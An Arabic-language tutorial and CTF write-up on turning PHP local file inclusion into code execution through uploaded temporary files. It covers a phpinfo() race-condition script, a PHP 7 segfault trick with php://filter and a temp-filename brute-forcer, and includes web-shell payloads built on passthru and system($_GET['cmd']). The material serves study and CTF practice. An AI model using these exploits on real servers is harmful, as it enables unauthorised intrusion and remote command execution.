lfi
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله تعالى و بركاته
في البداية
Understanding PHP temporary files
https://www.php.net/manual/en/features.file-upload.post-method.php
https://www.php.net/manual/en/features.file-upload.put-method.php
https://www.macs.hw.ac.uk/~hwloidl/docs/PHP/features.file-upload.html
يمكننا استعمال بوست او put ميثود لرفع الملفات في بي اش بي , بعد رفع الملف , الملف سوف يحفظ في global variables يدعى $_files كالتالي
للمزيد من المعلومات
https://arabicprogrammer.com/article/8708534101/
بعد رفع الملف سوف يخزن في default temp dir للسيرفر by default
يمكنك ان تجده كالتالي في php.ini
ملاحظة انا هنا قمت بتغييره الى d:/phpstudy_pro/temp
قبل التعدلي عليه كان ; upload_tmp_dir
اظن في wamp c:/wamp/tmp
المهم يمكنك معرفة من php.ini كالصورة اعلاه
في ubuntu سوف تكون كالتالي
cat /etc/php/7.0/apache2/php.ini | grep upload_tmp
;upload_tmp_dir =
اذا كان المسار الخاص ب upload_tmp_dir غير writable . بي اش بي سوف يقوم بحفظه في system default temp dir .
اذا كان upload_tmp_dir غير محدد
سيتم استخدام temp directory الافتراضي للنظام
sys_get_temp_dir()
default
C:\Users\lol>php -r "echo sys_get_temp_dir();"
C:\Users\lol\AppData\Local\Temp
edited
قمت بتغييره في php.ini ايضا
sys_temp_dir = "D:/phpstudy_pro/temp"
C:\Users\lol>php -r "echo sys_get_temp_dir();"
D:/phpstudy_pro/temp
C:\Users\lol>
ubuntu
➜ ~ php -r "echo sys_get_temp_dir();"
/tmp
➜ ~
التسمية للملفات المؤقتة
بعد التحميل والتخزين في temp directory ، قواعد تسمية الملفات المؤقتة هي كما يلي: الافتراضي هو php+4 أو php+6 أرقام عشوائية وأحرف كبيرة وصغيرة
مثال :
<?php
$file = tmpfile();
$path = stream_get_meta_data($file)['uri'];
print $path."\n";
windows
ترى في ويندوز
php????.tmp
يحتوي على لاحقة tmp تحت النوافذ ، ويحتوي الملف على أربعة أحرف عشوائية
linux كما نرى في
لا يوجد لاحقة في Linux ، ولكن الأحرف العشوائية للملف تتكون بشكل عام من ستة أرقام ،
php???????
كما نلاحظ فانه يكون ارقام و حروف كبيرة و صغير و يكون عشوائية
في ويندوز بي اتش بي يستعمل GetTempFileName() و في لينكس and mkstemp()
للمزيد من المعلومات
https://stackoverflow.com/questions/13037969/how-are-tmp-file-names-in-php-generated
https://linux.die.net/man/3/mktemp
https://linux.die.net/man/3/mkstemp
https://stackoverflow.com/questions/29250512/php-uploads-filesfilenametmp-name-uniqueness
https://github.com/php/php-src/blob/master/main/php_open_temporary_file.c
الصورة من PHP_LFI_rfc1867_temporary_files
في الصورة التالية
مخطط دورة التشغيل لـ PHP عند تحميل الملفات من خلال POST.
يمكنك أن ترى أن فترة بقاء ملفاتنا المؤقتة هي الفترة الزمنية كالتالي
لو انه php انتهى بدون مشاكل و الملف لم ينقل الى مكان اخر او اعادة تسميته
سيتم حذف الملف في نهاية form request
انتباه
ولكن لو انه لم ينتهي بشكل غير طبيعي أثناء تشغيل php
مثل حدوث crash فانه سيتم الاحتفاظ بهذا الملف المؤقت بشكل دائم.
كيفية الحصول على اسم الملف
1 - لدينا lfi و عرفنا كيفية التسمية للملفات المؤقة يمكننا عمل تخمين على اسم الملف يمكن استعمال سكربت لعمل تخمين
2 - تتمثل الطريقة في الحصول من خلال /proc/self/fd/* ، يبدأ * من 10 ، ويتم هنا الحصول على بعض الروابط الرمزية لمعرف العملية قيد التشغيل حاليًا. تعتمد فعالية هذه الطريقة على حجم الملف الذي تم تحميله ، ويمكن أن تزيد الملفات الكبيرة من وقت المحاولة.
3 - في ويندوز . يمكنك استعمال FindFirstFile method للمزيد من المعلومات يمكنك دراسة السورس الخاص ب fimap او البحث في قوقل
https://github.com/kurobeats/fimap/wiki/FimapFindFirstFileExploit
Exploiting time
الان بعد معرفة بعض الاساسيات ننتقل الى الشرح
LFI With PHPInfo Assistance
https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf
http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
فل نقل انه هناك local file include لكنك لم تجد اي طريقة لاستغلالها و لكنه يوجد phpinfo() script
لدينا المثال التالي
index.php
<?php
include($_GET['file']);
?>
info.php
<?php
phpinfo();
?>
تكمن الفكرة وراء أسلوب الاستغلال هذا في أنه إذا قبلت PHP تحميل الملفات كالتالي.
من خلال محاولة اجراء عدة upload post لل phpinfo سكريبت والتحكم بعناية في القراءات ، فمن الممكن استرداد اسم الملف المؤقت وتقديم طلب إلى البرنامج النصي LFI
إذا تمكنا من إنشاء ملف كبير بما فيه الكفاية مع كود php ، يجب أن نكون قادرين على التقاط هذه التعليمات قبل حذف الملف ،
وبالتالي race condition.
يمكنك استعمال السكربت التالي
import requests
import ssl
import socket
import urllib3
def SubstrFind(resp, toFind):
if(len(toFind) > len(resp)):
return []
found = False
indexes = []
for x in range(0,(len(resp)-len(toFind))+1):
if(ord(resp[x]) == ord(toFind[0])):
found = True
for i in range(0,len(toFind)):
if(ord(resp[x+i]) != ord(toFind[i])):
found = False
break
if(found):
indexes.append(x)
found = False
x += len(toFind)
return indexes
def phpinfo_ext(content):
indexes = SubstrFind(content, "Security Test")
found = len(indexes) > 0
got = ""
if(found):
start = indexes[0]+11
for x in range(start, len(content)):
if(content[x] == '<'):
break
got += content[x]
return got
def phpinfo_request():
TAG="Security Test"
PAYLOAD="""%s\r
<?php $c=fopen('/tmp/ccc','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 6000
REQ1="""POST /info.php"""""" HTTP/1.1\r
Z: """+padding+"""\r
Cookie: othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: 127.0.0.1\r
\r
%s""" %(len(REQ1_DATA),REQ1_DATA)
got = ""
sc = urllib3.connection_from_url('http://127.0.0.1')._new_conn()
sc.connect()
sc = sc.sock
payload = REQ1
sc.send(payload)
resp = ''
while 'tmp_name' not in resp:
x = sc.recv(4096)
if x == '':
break
resp += x
if("tmp_name" in resp):
found = 1
lines = resp.split('\n')
for line in lines:
if "tmp_name]" in line:
mystr = str(line)
array = mystr.split()
tmp_name = array[2]
print(tmp_name)
break
tmp_url = "http://127.0.0.1/index.php?file=" + tmp_name
r = requests.get(tmp_url)#
content = r.content
if 'Security Test' in content:
print "done"
exit()
else:
print('wait ... ')
return got
while True:
print(phpinfo_request())
sudo inotifywait -m -r /tmp
كما نلاحظ في الصورة انه قام بانشاء ملف يدعى ccc وقام بالتعديل عليه لكنه لم يقم بحذفه
الان نذهب الى المتصفح و نجرب
ctf challenge : https://h4dla3.github.io/post/eagle-jump/ اقرا الجزء الثاني من التحدي
docker container : https://github.com/vulhub/vulhub/tree/master/php/inclusion
( php7 segment fault ) using php://filter/string.strip_tags
شروط الاستخدام اصدارات php التالية
php7.0.0-7.1.2
php7.1.3-7.2.1
php7.2.2-7.2.8
هناك ثغرة lfi يمكننا استعمال php://filter/string.strip_tags لجعل php يعمل crash
اذا تم رفع ملف في نفس الوقت (يعني وقت حدوث الكراش)
سيتم حفظ الملف المؤقت في upload_tmp_dir directory المحدد ، لذلك لن يتم حذفه ، وسيتم تخزينه دائمًا في الدليل المؤقت للخدمة.
segment fault سبب حدوث الكراش null pointer refernce
. atoi(NULL)
مثال
هنا الاصدار لم يحدث شيء
هنا حدث crash
الان نرى
<?php
include($_GET['file']);
?>
الان نجرب في browser
سوف نحصل على شيء مثل هذا
من التحدي السابق
فسنرى انه يقوم بحذف الملف دائما كما قمنا بالشرح فوق
نجرب الان
نجرب نحمل اي ملف
mtucx.txt
<?php
echo 'mtucx';
system($_GET['cmd']);
>
لو نرى هنا اين انا اضع رقم 2 فاننا نرى لم يقم بحذف الملف المؤقت بسبب crash
كما قلنا في الشرح فوق
نجرب
تمام هنا انا عرف اسم tmp filename
اذا لم نكن نعرف يمكننا ان نعمل تخمين على الملف
يمكنك عمل سركبت لعمل ذلك او يمكنك استعمال burp wfuzz gobuster dirbuster … etc
في البداية نجرب نرسل الكثير من الريكوست
يمكنك عمل سكربت لذلك
ارسل اكثر لتزيد فرص و سرعة التخمين المهم ارجو ان تكون فهمت مقصودي
python script
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests, random
import datetime
charset = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890"
base_url = "http://127.0.0.1"
def get_filename():
ret = ""
for i in range(6):
ret += random.choice(charset)
return ret
def brute_force_tmp_files():
filename = get_filename()
url = "{}/index.php?lfi=/tmp/php{}".format(base_url, filename)
print "php" + filename
try:
r = requests.get(url)
if 'mtucx' in r.text:
print "[+] Include success!"
print url
exit()
except Exception as e:
pass
def main():
flag = False
while 1:
brute_force_tmp_files()
pass
if __name__ == "__main__":
main()
باستعمال burpsuite انا لا استعمل burpsuite في معظم الاحيان لكن بما ان كل الناس تستعملها اردت الشرح عليها
راجع الجزء الخاص بالتسمية فوق
بعد بضع ساعات او اشهر او اعوام ….
الان ناتي الى مثال ctf
في البداية نعمل fuzzخفيف
وجدنا انه هناك ملف dir.php سنعود اليه لاحقا
نرى السورس الخاص بالصفحة
نرى انه هناك اذا md5 للسيكرت و الاسم == الباسوورد
pass=md5(??)&
نلاحظ ان هناك هاش في الكوكيز باسم هاش
نرى الطول
C:\Users\lol\Desktop\ffuf_1.0.2_windows_amd64>python -c "print len('fa25e54758d5d5c1927781a6ede89f8a')"
32
C:\Users\lol\Desktop\ffuf_1.0.2_windows_amd64>
تمام الطول 32 كما نعرف 32 == md5
نجرب
نلاحظ انه يعمل تحويل redirect للصفحة flflflflfag.php
نجرب نراها
اذا هناك lfi واضحة هنا
نجرب php://filter/convret.base64-encode/resource=
http://61da71ac-e4d7-4eac-96c2-58cbde529147.node3.buuoj.cn/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php
http://61da71ac-e4d7-4eac-96c2-58cbde529147.node3.buuoj.cn/flflflflag.php?file=php://filter/convert.base64-encode/resource=dir.php
نقوم بعمل decode ل base64
flflflflag.php
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
dir.php
<?php
var_dump(scandir('/tmp'));
نجرب
ما تعلمناه
تمام نجرب
نرى dir.php الان
نعمل include للملف
نرى disable function
disable_functions pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,scadnir,readfile,show_source,fpassthru,readdir
eval ليست غير مفعلة نجرب
المهم الفلاق موجود
3 ( convert.quoted-printable-encode segment fault )
https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view